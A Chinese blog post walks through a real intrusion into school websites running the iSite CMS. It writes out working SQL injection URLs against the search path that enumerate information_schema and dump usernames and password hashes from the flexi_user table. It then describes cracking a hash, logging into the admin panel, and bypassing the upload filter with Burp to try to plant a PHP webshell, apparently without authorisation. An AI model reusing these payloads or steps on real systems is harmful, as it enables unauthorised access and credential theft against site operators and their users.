意外性的发现一套cms的注入漏洞

事情是这样的,在一个老司机的群里聊天。。。。(是真的开车群)一个朋友说想叫我去检测下他们学校官网。

01

我这么菜,还是去看看吧。。。。打开主站

01

访问robots.txt文件,是存在的,可以看出是isite的cms(在此之前听都没听过….)

01

去百度了下看下有啥公开的漏洞吧

01

不得不说。。。用的人真的少,这些漏洞都试了下,都没用啊。

还是看看后台吧,后面加个admin,得到后台之,各种弱口令,都没结果。

01

竟然这样,从旁站下手好了。查了下,有这么多

01

我一个个找过去……全是这套程序。。我也很无奈啊

01

没办法,硬着头皮看了看主站,随便点了个连接貌似伪静态啊。试了半天还是放弃了。

01

继续翻其他站,在一个站的首页发现这个。

01

尝试下post注入。加个单引号

01

好吧 刚准备放弃….过了几秒钟 自动跳转到到了另一个页面

01

继续在搜索框那输入了些查询内容点击检索

01

01

Search后面多了个24,怪我手贱去加个个单引号………报错了(头一次人品爆发)

01

And 1=1 和and 1=2返回结果

01

01

确定已经存在注入,这次就用手工注入吧。

先order by猜下字段长度

http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2010 返回正常

http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2011 返回错误

http://www.xxx.com/index.php/iss/search/search/24%20union%20select%201,2,3,4,5,6,7,8,9,10结果如下

01

没有显错位啊,加个and 1=2试试

01

显错位替换成database()和version(),版本是5.0以上,有个默认数据库information

01

User(),不是root权限

01

接下来查表名

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10%20from%20information_schema.tables%20where%20table_schema=0x6462xxxxxxxxxxx70696E6B5F636F6D(这是数据库的hex码,xxx代表马赛克……)

01

出来很多啊,用审查元素全部复制下来

flexi_announcement,flexi_bbcode,flexi_channel,flexi_channel_config,flexi_config,flexi_content,flexi_content_subject,flexi_feedback,flexi_file,flexi_file_watermark,flexi_inquiry,flexi_link,flexi_link_category,flexi_log,flexi_message,flexi_page,flexi_search_cache,flexi_tag,flexi_tag_related,flexi_tpl_block,flexi_user,flexi_user_admin,flexi_u

起初以为是flexi_user_admin这个表,后来发现帐号密码存在flexi_user这个表中

接下来查他字段

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=0x666C6578695F75736572

01

id,name,password,hit_question,hit_answer,email,real_name,gender,birthday,province,address,post_code,phone_code,mphone_code,group_id,reg_time,last_login_time,last_login_ip,login_count,post_count,manager,locked,new_msg_count,memo

经验判断存放帐号密码的字段是name和password

http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

01

就这样,帐号密码已经出来了

利用构造出来的exp:

index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,pass word,9,10%20from%20flexi_user

去主站访问下

01

哈哈 帐号密码到手 数了一下是40位…….然后去百度看了看

01

………..说是md5的 然后我仔细看了看文章…..屌用都没 我去官网下载了套源码

查看代码发现是sha1加密

01

拿起密码就去cmd5.com解密,悲剧来了………

01

Oh Fuck

试了试另外一个,也是一样的结果…..

01

然后看了看其他网站,可能真的人品爆发,有个站解密成功了

然后登录之。

01

大概看了看网站后台,在这添加上php

01

找到个上传文件的地方,感觉shell就在眼前

01

点击上传发现…………我真是个命苦的人啊

01

只能拿出我苦练多年的打狗大法…….拿起burp抓包

01

在这里构造畸形的http,然后放包,成功上传。(自带滑稽表情)

01

01

点击那个放大镜

01

源码暴露了路径也不对劲…….看来不是他真实路径。

又翻了翻,发现这个,点击检索

01

01

看到刚才上传的文件,点击源文件

路径变成了,多了个下划线…….

http://www.xxx.com/data/upload/2017-04/08215611_edit._php

这个问题卡了我两天,各种姿势都试了,还是没办法绕过。

所以放弃了。。。。。

Ps:这个提供这套cms的站点也存在该漏洞

01

-------------本文结束感谢您的阅读-------------